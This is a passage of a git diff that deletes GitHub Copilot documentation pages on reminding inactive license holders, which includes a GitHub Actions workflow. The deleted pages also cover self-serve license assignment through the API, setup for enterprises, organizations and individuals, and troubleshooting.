[AUTOTITLE](/copilot/using-github-copilot/best-practices-for-using-github-copilot) or [AUTOTITLE](/copilot/using-github-copilot/prompt-engineering-for-github-copilot). -> * For examples related to specific tasks, see [AUTOTITLE](/copilot/example-prompts-for-github-copilot-chat). -> -> If you no longer need access to {% data variables.product.prodname_copilot_short %}, please let us know in this issue. If your license remains inactive for a further 30 days, we'll revoke it to free up access for another user. - -#### Example reminder in Markdown - -<!-- markdownlint-disable search-replace --> - -``` markdown copy -We noticed you haven't used your assigned license for {% data variables.product.prodname_copilot %} in 30 days. Here are some resources that might help you get started: - -* If you haven't yet set up Copilot in your environment, see [Setting up GitHub Copilot for yourself](https://docs.github.com/en/copilot/setting-up-github-copilot/setting-up-github-copilot-for-yourself) or [Troubleshooting common issues with GitHub Copilot](https://docs.github.com/en/copilot/troubleshooting-github-copilot/troubleshooting-common-issues-with-github-copilot). -* For best practices and advice on getting started, see [Best practices for using GitHub Copilot](https://docs.github.com/en/copilot/using-github-copilot/best-practices-for-using-github-copilot) or [Prompt engineering for GitHub Copilot](https://docs.github.com/en/copilot/using-github-copilot/prompt-engineering-for-github-copilot). -* For examples related to specific tasks, see [Copilot Chat Cookbook](https://docs.github.com/en/copilot/example-prompts-for-github-copilot-chat). - -If you no longer need access to {% data variables.product.prodname_copilot_short %}, please let us know in this issue. If your license remains inactive for a further 30 days, we'll revoke it to free up access for another user. -``` - -<!-- markdownlint-enable search-replace --> - -## Automating the reminder with {% data variables.product.prodname_actions %} - -The following example workflow uses the API to identify users in an organization who haven't used their license for 30 days or haven't used it at all since the seat was assigned, then creates an issue assigned to each user. This is a simple example that you can adapt to meet your needs. - -To use this workflow: - -1. Create a label in the repository where reminder issues will be created. Call the label `copilot-reminder`. We'll use this label to check whether a reminder issue is already open for each inactive user. - - To create a label, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels#creating-a-label). -1. Save your reminder message, such as the one provided in [Example reminder in Markdown](#example-reminder-in-markdown), as an {% data variables.product.prodname_actions %} variable in your repository or organization. Call the variable `COPILOT_REMINDER_MESSAGE`. - - To create a variable, see [AUTOTITLE](/actions/writing-workflows/choosing-what-your-workflow-does/store-information-in-variables#creating-configuration-variables-for-a-repository). -1. Create a {% data variables.product.pat_generic %} with permission to call the [List all Copilot seat assignments for an organization](/rest/copilot/copilot-user-management#list-all-copilot-seat-assignments-for-an-organization) API endpoint. For example, create a fine-grained token with the following details: - * **Resource owner**: The organization where you're looking for inactive users. - * **Organization permissions**: {% data variables.product.prodname_copilot_for_business %} (read-only). - - To create a token, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-fine-grained-personal-access-token). -1. Save the access token as a {% data variables.product.prodname_actions %} secret in your repository or organization. Call the secret `COPILOT_LICENSE_READ`. - - To create a secret, see [AUTOTITLE](/actions/security-for-github-actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-a-repository). -1. Using the example below, create the workflow in the repository where you want the reminder issues to be created. - - If you're new to {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/writing-workflows/quickstart). -1. If you want to create the issues in a repository other than the one in which the workflow is located, replace `{% raw %}${{ github.repository }}{% endraw %}` in the `gh` commands with the name of the repository where you want the reminder issues to be created. For example: `octo-org/octo-repo`. - -### Example workflow - ->[!NOTE] This example assumes you assign licenses through an organization. If you use a dedicated enterprise account for {% data variables.product.prodname_copilot_business_short %}, you will need to use different API endpoints. See [AUTOTITLE](/admin/copilot-business-only/setting-up-a-dedicated-enterprise-for-copilot-business-personal-accounts#automate-license-management). - -<!-- markdownlint-disable GHD021 --> - -``` yaml annotate -# Name your workflow -name: Remind inactive users about GitHub Copilot license - -on: - # Run on demand (enables `Run workflow` button on the Actions tab to easily trigger a run manually) - workflow_dispatch: - # Run the workflow every day at 8am UTC - schedule: - - cron: '0 8 * * *' - -jobs: - context-log: - runs-on: ubuntu-latest - - # Modify the default permissions granted to GITHUB_TOKEN - permissions: - contents: read - issues: write - - steps: - - name: Check last GitHub Copilot activity - id: check-last-activity - run: | - # List all GitHub Copilot seat assignments for an organization - RESPONSE=$(gh api \ - -H "Accept: application/vnd.github+json" \ - -H "X-GitHub-Api-Version: 2022-11-28" \ - -H "Authorization: Bearer {% raw %}${{ secrets.COPILOT_LICENSE_READ }}{% endraw %}" \ - /orgs/{% raw %}${{ github.repository_owner }}{% endraw %}/copilot/billing/seats) - echo "Raw Response from gh api:" - echo "$RESPONSE" - - # Parse and check each user's `last_activity_at` and `created_at` - echo "$RESPONSE" | jq -c '.seats[]' | while read -r seat; do - LOGIN=$(echo "$seat" | jq -r '.assignee.login') - LAST_ACTIVITY=$(echo "$seat" | jq -r '.last_activity_at') - CREATED_AT=$(echo "$seat" | jq -r '.created_at') - - # List all open issues with label `copilot-reminder` - EXISTING_ISSUES=$(gh issue list --repo {% raw %}${{ github.repository }}{% endraw %} --assignee $LOGIN --label 'copilot-reminder' --json id) - - # Get last activity date and convert dates to seconds since epoch for comparison - if [ "$LAST_ACTIVITY" = "null" ]; then - LAST_ACTIVITY_DATE=$(date -d "$CREATED_AT" +%s) - else - LAST_ACTIVITY_DATE=$(date -d "$LAST_ACTIVITY" +%s) - fi - THIRTY_DAYS_AGO=$(date -d "30 days ago" +%s) - - # Create issues for inactive users who don't have an existing open issue - if [ "$LAST_ACTIVITY_DATE" -lt "$THIRTY_DAYS_AGO" ] && [ "$EXISTING_ISSUES" = "[]" ]; then - echo "User $LOGIN has not been active in the last 30 days. Last activity: $LAST_ACTIVITY" - - NEW_ISSUE_URL="$(gh issue create --title "Reminder about your GitHub Copilot license" --body "{% raw %}${{ vars.COPILOT_REMINDER_MESSAGE }}{% endraw %}" --repo {% raw %}${{ github.repository }}{% endraw %} --assignee $LOGIN --label 'copilot-reminder')" - else - echo "User $LOGIN is active or already has an assigned reminder issue. Last activity: $LAST_ACTIVITY" - fi - done - - # Set the GH_TOKEN, required for the 'gh issue' commands - env: - GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} -``` - -<!-- markdownlint-enable GHD021 --> - -## Further reading - -* [AUTOTITLE](/copilot/rolling-out-github-copilot-at-scale/driving-copilot-adoption-in-your-company) -* [AUTOTITLE](/copilot/rolling-out-github-copilot-at-scale/analyzing-usage-over-time-with-the-copilot-metrics-api) diff --git a/content/copilot/rolling-out-github-copilot-at-scale/setting-up-a-self-serve-process-for-github-copilot-licenses.md b/content/copilot/rolling-out-github-copilot-at-scale/setting-up-a-self-serve-process-for-github-copilot-licenses.md deleted file mode 100644 index 99145b6111ff..000000000000 --- a/content/copilot/rolling-out-github-copilot-at-scale/setting-up-a-self-serve-process-for-github-copilot-licenses.md +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Setting up a self-serve process for GitHub Copilot licenses -shortTitle: Self-serve licenses -intro: 'Learn how users can request a license and receive access immediately.' -versions: - feature: copilot -topics: - - Copilot ---- - -When you've enabled {% data variables.product.prodname_copilot %} in an organization or enterprise, you can set up a self-serve workflow to allow users to request licenses. This allows you to allocate licenses to people who want them, and means people can get started with {% data variables.product.prodname_copilot_short %} quickly. - -{% data variables.product.company_short %} has found that many successful rollouts offer a fully self-service model where developers can claim a license without approval. - -This article outlines two approaches your company can take: - -* {% data variables.product.github %}'s **request access** feature for {% data variables.product.prodname_copilot_business_short %}, which requires no setup but does require explicit approvals from an administrator -* Your own integration with **{% data variables.product.github %}'s API**, which allows you to create your own process with instant access - -## Approach 1: Use {% data variables.product.github %}'s "request access" feature - -If you have a {% data variables.product.prodname_copilot_business_short %} subscription, members of an organization can request access to {% data variables.product.prodname_copilot %} on their settings page. Then, an organization owner must review and approve each request. - -The process, which you should **communicate with users**, is as follows. - -1. An organization or enterprise owner ensures {% data variables.product.prodname_copilot_business_short %} is enabled in the organization where you want to manage access. -1. Members of the organization go to their personal settings page at https://github.com/settings/copilot and click **Ask admin for access**. -1. An organization owner reviews and approves requests on the "Requests from members" page in the organization. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/managing-requests-for-copilot-business-in-your-organization). - -You should set up a process where requests are reviewed regularly, so that interested users can get access to {% data variables.product.prodname_copilot_short %} quickly. - -Users can also request access from organizations where {% data variables.product.prodname_copilot_business_short %} is not enabled. In this case, organization owners will be prompted to ask an enterprise owner to enable {% data variables.product.prodname_copilot_short %} for the organization. - -## Approach 2: Integrate with the API - -For a more streamlined approach, you can set up a self-serve process by integrating with {% data variables.product.github %}'s API. The benefits of this approach are that it allows you to build the process into your existing tooling, and it gives you the option to allow users to receive access instantly, without a manual approval process. - -To set up the integration, you will use the [Add users to the {% data variables.product.prodname_copilot_short %} subscription for an organization](/rest/copilot/copilot-user-management#add-users-to-the-copilot-subscription-for-an-organization) endpoint, providing the username of the user who has requested access. - -For example, the API call in a {% data variables.product.prodname_actions %} workflow might look as follows, where the organization and selected usernames are provided by the context of the workflow trigger: - -``` javascript -const { Octokit } = require("@octokit/action"); -const octokit = new Octokit(); -const response = await octokit.request('POST /orgs/{org}/copilot/billing/selected_users', { - org: context.repo.owner, - selected_usernames: [context.payload.sender.login], - headers: { - 'X-GitHub-Api-Version': '2022-11-28' - } -}) -``` - ->[!NOTE] This endpoint only works if you use organizations on {% data variables.product.github %}. If {% data variables.product.company_short %} has provided you with a **dedicated enterprise for managing {% data variables.product.prodname_copilot_business_short %} licenses**, you will need to add users to enterprise teams instead. To request API documentation, please contact your account manager. - -### Example implementations - -* You could create the process entirely within {% data variables.product.github %}, having users create issues to request access, then using a {% data variables.product.prodname_actions %} workflow to call the API. For a demo of this approach, see the [microsoft/GitHubCopilotLicenseAssignment](https://github.com/microsoft/GitHubCopilotLicenseAssignment) repository. Note that this is **an external example that isn't covered by {% data variables.contact.github_support %}**. -* You could add a "Request access" button to users' profiles on your company's internal website, which will pass the user's {% data variables.product.github %} username to the API. You could grant access instantly or validate the user first, such as checking for their membership of a certain team. - -## Further reading - -* [AUTOTITLE](/copilot/rolling-out-github-copilot-at-scale/driving-copilot-adoption-in-your-company) -* [AUTOTITLE](/copilot/rolling-out-github-copilot-at-scale/reminding-inactive-users) -* [AUTOTITLE](/copilot/rolling-out-github-copilot-at-scale/analyzing-usage-over-time-with-the-copilot-metrics-api) -* [AUTOTITLE](/enterprise-cloud@latest/admin/managing-accounts-and-repositories/managing-organizations-in-your-enterprise/managing-requests-for-copilot-business-from-organizations-in-your-enterprise){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %} diff --git a/content/copilot/setting-up-github-copilot/index.md b/content/copilot/setting-up-github-copilot/index.md deleted file mode 100644 index 27d88d13abc6..000000000000 --- a/content/copilot/setting-up-github-copilot/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Setting up GitHub Copilot -shortTitle: Set up -intro: "Learn how to set up {% data variables.product.prodname_copilot %}." -topics: - - Copilot -versions: - feature: copilot -children: - - /setting-up-github-copilot-for-your-enterprise - - /setting-up-github-copilot-for-your-organization - - /setting-up-github-copilot-for-yourself ---- diff --git a/content/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-enterprise.md b/content/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-enterprise.md deleted file mode 100644 index dacb7c244e3a..000000000000 --- a/content/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-enterprise.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: 'Setting up GitHub Copilot for your enterprise' -shortTitle: Set up for enterprise -intro: "Follow these steps to set up {% data variables.product.prodname_copilot %} in your enterprise." -permissions: Enterprise owners -product: 'Enterprises with a subscription to {% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %}' -versions: - feature: copilot-enterprise -topics: - - Copilot -redirect_from: - - /copilot/github-copilot-enterprise/enabling-github-copilot-enterprise-features - - /copilot/github-copilot-enterprise/overview/enabling-github-copilot-enterprise - - /copilot/github-copilot-enterprise/overview/enabling-github-copilot-enterprise-features ---- - -## 1. Subscribe your enterprise to {% data variables.product.prodname_copilot %} - -Set up a subscription to {% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %} for your enterprise. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/subscribing-to-copilot-for-your-enterprise). - -## 2. Set policies - -Control which {% data variables.product.prodname_copilot_short %} features are available in your enterprise. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise). - -## 3. Set up networking (if necessary) - -If your enterprise users connect through an HTTP proxy server or firewall, ensure that key URLs are added to the allowlist for the proxy server or firewall. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/configuring-your-proxy-server-or-firewall-for-copilot). - -You may also need to install custom SSL certificates on your users' machines. See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/configuring-network-settings-for-github-copilot#installing-custom-certificates). - -## 4. Grant access to organizations - -Enable {% data variables.product.prodname_copilot_short %} for some or all organizations in your enterprise. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-access-to-copilot-in-your-enterprise/enabling-copilot-for-organizations-in-your-enterprise). Each organization owner can then grant {% data variables.product.prodname_copilot_short %} access to some or all of the members of their organization. - -If your enterprise is on {% data variables.enterprise.data_residency_site %}, users must perform some additional setup to authenticate to their account from their development environment. See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/using-github-copilot-with-an-account-on-ghecom). - -## 5. Drive {% data variables.product.prodname_copilot_short %} adoption - -Planning and implementing an effective enablement process is essential to drive adoption of {% data variables.product.prodname_copilot_short %} in your enterprise. See [AUTOTITLE](/copilot/rolling-out-github-copilot-at-scale/driving-copilot-adoption-in-your-company). diff --git a/content/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-organization.md b/content/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-organization.md deleted file mode 100644 index afaca52f8138..000000000000 --- a/content/copilot/setting-up-github-copilot/setting-up-github-copilot-for-your-organization.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: 'Setting up GitHub Copilot for your organization' -shortTitle: Set up for organization -intro: "Follow these steps to set up {% data variables.product.prodname_copilot %} in your organization." -permissions: Organization owners -product: 'Organizations with a subscription to {% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %}' -versions: - feature: copilot -topics: - - Copilot -redirect_from: - - /copilot/copilot-business/enabling-and-setting-up-github-copilot-business - - /copilot/overview-of-github-copilot/enabling-and-setting-up-github-copilot-for-business - - /copilot/managing-copilot-business/enabling-and-setting-up-github-copilot-for-business - - /copilot/managing-copilot-business/enabling-and-setting-up-github-copilot-business ---- - -## 1. Subscribe your organization to {% data variables.product.prodname_copilot %} - -Set up a subscription to {% data variables.product.prodname_copilot_business_short %} for your organization. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/subscribing-to-copilot-for-your-organization). - -If your organization is part of an enterprise that has a {% data variables.product.prodname_copilot_enterprise_short %} or {% data variables.product.prodname_copilot_business_short %} subscription, your enterprise owner can instead enable {% data variables.product.prodname_copilot_short %} for your organization. You can request access from your enterprise owner by going to [https://github.com/settings/copilot](https://github.com/settings/copilot) and requesting access under "Get Copilot from an organization." - -## 2. Set policies - -Control which {% data variables.product.prodname_copilot_short %} features are available in your organization. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/managing-policies-for-copilot-in-your-organization). - -## 3. Set up networking (if necessary) - -If your organization members connect through an HTTP proxy server or firewall, ensure that key URLs are added to the allowlist for the proxy server or firewall. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/configuring-your-proxy-server-or-firewall-for-copilot). - -You may also need to install custom SSL certificates on your members' machines. See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/configuring-network-settings-for-github-copilot#-installing-custom-certificates). - -## 4. Grant access to members - -Enable {% data variables.product.prodname_copilot_short %} for some or all members of your organization. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-access-to-github-copilot-in-your-organization/granting-access-to-copilot-for-members-of-your-organization). - -To help drive adoption of {% data variables.product.prodname_copilot_short %} in your organization, think about what teams or members are most excited about {% data variables.product.prodname_copilot_short %} or could benefit the most from {% data variables.product.prodname_copilot_short %}. You may want to enable {% data variables.product.prodname_copilot_short %} for those members before enabling {% data variables.product.prodname_copilot_short %} for your whole organization. This can help you discover blockers, demonstrate early success, and set your organization up for a successful {% data variables.product.prodname_copilot_short %} rollout. - -{% data reusables.copilot.self-serve-license-link %} - -If your organization is part of an enterprise on {% data variables.enterprise.data_residency_site %}, users must perform some additional setup to authenticate to their account from their development environment. See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/using-github-copilot-with-an-account-on-ghecom). - -## 5. Drive {% data variables.product.prodname_copilot_short %} adoption - -Planning and implementing an effective enablement process is essential to drive adoption of {% data variables.product.prodname_copilot_short %} in your organization. See [AUTOTITLE](/copilot/rolling-out-github-copilot-at-scale/driving-copilot-adoption-in-your-company). - -## 6. Enhance the {% data variables.product.prodname_copilot_short %} experience - -Enhance the {% data variables.product.prodname_copilot_short %} experience for your organization by: - -* **Setting up knowledge bases** for use with {% data variables.product.prodname_copilot_chat_short %} _({% data variables.product.prodname_copilot_enterprise_short %} only)_. See [AUTOTITLE](/enterprise-cloud@latest/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/managing-copilot-knowledge-bases). -* **Fine tuning {% data variables.product.prodname_copilot_short %}** by creating a custom large language model. See [AUTOTITLE](/copilot/customizing-copilot/creating-a-custom-model-for-github-copilot). -* **Installing {% data variables.product.prodname_copilot_extensions_short %}** to integrate other tools with {% data variables.product.prodname_copilot_chat_short %}. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/installing-github-copilot-extensions-for-your-organization). diff --git a/content/copilot/setting-up-github-copilot/setting-up-github-copilot-for-yourself.md b/content/copilot/setting-up-github-copilot/setting-up-github-copilot-for-yourself.md deleted file mode 100644 index fa316df40bc2..000000000000 --- a/content/copilot/setting-up-github-copilot/setting-up-github-copilot-for-yourself.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: 'Setting up GitHub Copilot for yourself' -shortTitle: Set up for self -intro: "Follow these steps to start using Copilot." -permissions: Individuals -product: 'Individual user accounts with access to a {% data variables.product.prodname_copilot_enterprise_short %}, {% data variables.product.prodname_copilot_business_short %}, {% data variables.product.prodname_copilot_pro_short %}, or {% data variables.product.prodname_copilot_free_short %} subscription' -versions: - feature: copilot -topics: - - Copilot ---- - -## 1. Get access to {% data variables.product.prodname_copilot %} - -There are a few ways that you can get access to {% data variables.product.prodname_copilot %}: - -* _Set up {% data variables.product.prodname_copilot_free %}_. You can set up {% data variables.product.prodname_copilot_free_short %} to get a limited experience of {% data variables.product.prodname_copilot_short %} without a subscription. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/about-github-copilot-free). -* _Sign up for a subscription to {% data variables.product.prodname_copilot_pro %}_. You can <a href="https://github.com/github-copilot/signup?ref_cta=Copilot+trial&ref_loc=about+github+copilot&ref_page=docs" target="_blank"><span>try {% data variables.product.prodname_copilot %} for free</span></a> with a one-time 30-day trial. After the free trial, you will need a paid subscription for continued use. -* _If you are a member of an organization or enterprise_ that has a subscription to {% data variables.product.prodname_copilot %}, you can request access to {% data variables.product.prodname_copilot_short %} by going to [https://github.com/settings/copilot](https://github.com/settings/copilot) and requesting access under "Get Copilot from an organization." -* _If you are a verified student, teacher, or maintainer of a popular open source project_, {% data variables.product.prodname_copilot %} is free to use. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/getting-free-access-to-copilot-as-a-student-teacher-or-maintainer). - -## 2. Install the {% data variables.product.prodname_copilot_short %} extension for your IDE - -If you want to use {% data variables.product.prodname_copilot_short %} in your IDE, install the {% data variables.product.prodname_copilot_short %} extension for your IDE. See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/installing-the-github-copilot-extension-in-your-environment). - -## 3. Install the {% data variables.product.prodname_copilot_short %} extension for the command line - -If you want to use {% data variables.product.prodname_copilot_short %} in the command line, install the {% data variables.product.prodname_copilot_short %} extension for the {% data variables.product.prodname_cli %}. See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/installing-github-copilot-in-the-cli). - -## 4. Use {% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_windows_terminal %} - -If you want to chat with {% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_windows_terminal %}, connect {% data variables.product.prodname_copilot_short %} with Terminal Chat in {% data variables.product.prodname_windows_terminal %} Canary. See [AUTOTITLE](/copilot/quickstart?tool=windowsterminal). - -## 5. Set up networking (if necessary) - -If you connect through an HTTP proxy server or firewall, ensure that key URLs are added to the allowlist for the proxy server or firewall. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/configuring-your-proxy-server-or-firewall-for-copilot). - -You may also need to install a custom SSL certificate on your machine. See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/configuring-network-settings-for-github-copilot#installing-custom-certificates). - -## 6. Configure settings (optional) - -All users can configure {% data variables.product.prodname_copilot_short %} settings in their IDE or in the CLI. See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/configuring-github-copilot-in-your-environment) and [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/configuring-github-copilot-in-the-cli). - -If you have your own subscription to {% data variables.product.prodname_copilot_short %} (instead of using your organization or enterprise's subscription), you can: - -* **Install {% data variables.product.prodname_copilot_extensions_short %}** to integrate other tools with {% data variables.product.prodname_copilot_chat_short %}. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/installing-github-copilot-extensions-for-your-personal-account). -* **Manage policies**. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-policies-as-an-individual-subscriber). - -## 7. Start using {% data variables.product.prodname_copilot_short %} - -Start using {% data variables.product.prodname_copilot_short %} to help you write code faster and more efficiently. For all the ways you can use {% data variables.product.prodname_copilot_short %}, see [AUTOTITLE](/copilot/using-github-copilot). {% data variables.product.prodname_copilot_short %} code suggestions, {% data variables.product.prodname_copilot_chat_dotcom_short %}, and {% data variables.product.prodname_copilot_chat_short %} in your IDE are a great place to start. - -To learn how to best use {% data variables.product.prodname_copilot_short %}, see [AUTOTITLE](/copilot/using-github-copilot/best-practices-for-using-github-copilot) and [AUTOTITLE](/copilot/using-github-copilot/prompt-engineering-for-github-copilot). diff --git a/content/copilot/troubleshooting-github-copilot/index.md b/content/copilot/troubleshooting-github-copilot/index.md deleted file mode 100644 index 924e19f25bf7..000000000000 --- a/content/copilot/troubleshooting-github-copilot/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Troubleshooting GitHub Copilot -shortTitle: Troubleshooting -intro: 'These guides provide information for troubleshooting {% data variables.product.prodname_copilot %}.' -versions: - fpt: '*' - ghec: '*' -children: - - /troubleshooting-common-issues-with-github-copilot - - /viewing-logs-for-github-copilot-in-your-environment - - /troubleshooting-firewall-settings-for-github-copilot - - /troubleshooting-network-errors-for-github-copilot - - /troubleshooting-issues-with-github-copilot-chat ---- diff --git a/content/copilot/troubleshooting-github-copilot/troubleshooting-common-issues-with-github-copilot.md b/content/copilot/troubleshooting-github-copilot/troubleshooting-common-issues-with-github-copilot.md deleted file mode 100644 index fe5140115e8d..000000000000 --- a/content/copilot/troubleshooting-github-copilot/troubleshooting-common-issues-with-github-copilot.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Troubleshooting common issues with GitHub Copilot -intro: 'This guide describes the most common issues with {% data variables.product.prodname_copilot %} and how to resolve them.' -versions: - feature: copilot -topics: - - Copilot -shortTitle: Common issues with GitHub Copilot ---- - - -For questions about the general use of {% data variables.product.prodname_copilot %}, product impact, human oversight, and privacy, see the comprehensive list of [{% data variables.product.prodname_copilot %} FAQs](https://github.com/features/copilot#:~:text=Frequently%20asked%C2%A0questions). - -If {% data variables.product.prodname_copilot %} stops working, check {% data variables.product.prodname_dotcom %}'s [Status page](https://githubstatus.com) for any active incidents. - -## Unable to use the {% data variables.product.prodname_copilot %} extension in the IDE - -We recommend you follow the quickstart guide for {% data variables.product.prodname_copilot %} while setting up {% data variables.product.prodname_copilot %} on your machine. For more information, see [AUTOTITLE](/copilot/quickstart). - -The {% data variables.product.prodname_copilot %} extension is frequently updated to fix bugs and add new features. It's important to keep your extension up to date because older clients cannot communicate with the {% data variables.product.prodname_copilot %} servers. Update your {% data variables.product.prodname_copilot %} extension on all the machines you have it installed. - -{% data reusables.copilot.sign-in-ghecom %} See [AUTOTITLE](/copilot/managing-copilot/configure-personal-settings/using-github-copilot-with-an-account-on-ghecom). - -For more information about configuring {% data variables.product.prodname_copilot %} in a supported IDE, see [AUTOTITLE](/copilot/configuring-github-copilot/configuring-github-copilot-in-your-environment). - -## {% data variables.product.prodname_copilot %} not working in some files - -If you're using {% data variables.product.prodname_copilot %} with a {% data variables.product.prodname_copilot_business_short %} or {% data variables.product.prodname_copilot_enterprise_short %} license, you may not see code completion suggestions in your editor for some files. This happens when a file is excluded from being used by {% data variables.product.prodname_copilot %}. Content exclusion can be configured by a repository administrator, or by an organization owner. - -When a file is affected by a content exclusion setting, {% data variables.product.prodname_copilot %} will not suggest code completion in that file, and the content of that file will not be used to inform code completion suggestions in other files. - -{% data reusables.copilot.content-exclusion-tooltip %} - -## {% data variables.product.prodname_copilot %} content exclusions are not being applied - -Content exclusion can be configured at the repository{% ifversion ghec %}, organization, and enterprise{% else %} and organization{% endif %} level. The scope of the exclusion is determined by the level at which the rule is set: - -{% data reusables.copilot.content-exclusions-scope %} - -{% data reusables.copilot.content-exclusions-delay %} For more information, see [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/testing-changes-to-content-exclusions-in-your-ide#propagating-content-exclusion-changes-to-your-ide). - -> [!NOTE] -> {% data reusables.copilot.content-exclusion-limitations %} - -## Error: "{% data variables.product.prodname_copilot %} could not connect to server. Extension activation failed" - -This error indicates that you do not have a {% data variables.product.prodname_copilot %} subscription, or there was an error connecting to the {% data variables.product.prodname_dotcom %} API to request a token to use {% data variables.product.prodname_copilot %}. - -To request another token from api.github.com, try signing in and out of {% data variables.product.prodname_copilot %} from your IDE. Once you've logged out, {% data variables.product.prodname_copilot %} will prompt you to sign back in. - -If you cannot connect to the server, you can create a discussion in our [discussion forum](https://github.com/orgs/community/discussions/categories/copilot). You can include log files from your IDE to help us troubleshoot the issue. For more information on obtaining log files from your specific IDE, see [AUTOTITLE](/copilot/troubleshooting-github-copilot/viewing-logs-for-github-copilot-in-your-environment). - -## {% data variables.product.prodname_copilot %} not suggesting multiple lines of code - -This is a known issue and our team is working towards a fix. For more information, see this comment on a [{% data variables.product.prodname_github_community %} discussion](https://github.com/orgs/community/discussions/40522#discussioncomment-4701470). - -## Error: "No valid OAuth token detected" in {% data variables.product.prodname_copilot_cli %} - -This error suggests that a classic or fine-grained {% data variables.product.pat_generic %} might be in use, either via the `GITHUB_TOKEN` or `GH_TOKEN` environment variables, or during a `gh auth login` attempt. {% data variables.product.prodname_copilot_cli %} currently only supports using the {% data variables.product.prodname_cli %} OAuth app. - -For more information, see the [{% data variables.product.prodname_copilot_cli_short %} extension repository](https://github.com/github/gh-copilot). - -## Error: "Sorry, your request was rate-limited." - -This error suggests that you have exceeded the rate limit for {% data variables.product.prodname_copilot_short %} requests. {% data variables.product.github %} uses rate limits to ensure everyone has fair access to the {% data variables.product.prodname_copilot_short %} service and to protect against abuse. - -Most people see rate limiting for preview models, like OpenAI’s o1 and o3-mini, which are rate-limited due to limited capacity. - -Service-level request rate limits ensure high service quality for all {% data variables.product.prodname_copilot_short %} users and should not affect typical or even deeply engaged {% data variables.product.prodname_copilot_short %} usage. We are aware of some use cases that are affected by it. {% data variables.product.github %} is iterating on {% data variables.product.prodname_copilot_short %}’s rate-limiting heuristics to ensure it doesn’t block legitimate use cases. - -In case you experience repeated rate-limiting in {% data variables.product.prodname_copilot_short %}, contact {% data variables.contact.contact_support_page %}. - -## Further reading - -* [AUTOTITLE](/free-pro-team@latest/site-policy/other-site-policies/github-and-trade-controls) diff --git a/content/copilot/troubleshooting-github-copilot/troubleshooting-firewall-settings-for-github-copilot.md b/content/copilot/troubleshooting-github-copilot/troubleshooting-firewall-settings-for-github-copilot.md deleted file mode 100644 index d9d58b0fdae9..000000000000 --- a/content/copilot/troubleshooting-github-copilot/troubleshooting-firewall-settings-for-github-copilot.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Troubleshooting firewall settings for GitHub Copilot -intro: Troubleshooting help for firewall-related errors. -product: '{% data reusables.gated-features.copilot %}' -topics: - - Copilot - - Troubleshooting - - Networking -versions: - feature: copilot -shortTitle: Connectivity security settings ---- - -## About the problem - -If you or your company uses a firewall, {% data variables.product.prodname_copilot_short %} may not function as expected. {% data variables.product.prodname_copilot_short %} interacts with a remote machine learning model and checks for updates, and a firewall may block important traffic and degrade the user experience. - -## Solving the problem - -For an optimal {% data variables.product.prodname_copilot_short %} experience, you should create an "allowlist" that lets certain URLs, ports, and protocols through your firewall. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/configuring-your-proxy-server-or-firewall-for-copilot). diff --git a/content/copilot/troubleshooting-github-copilot/troubleshooting-issues-with-github-copilot-chat.md b/content/copilot/troubleshooting-github-copilot/troubleshooting-issues-with-github-copilot-chat.md deleted file mode 100644 index 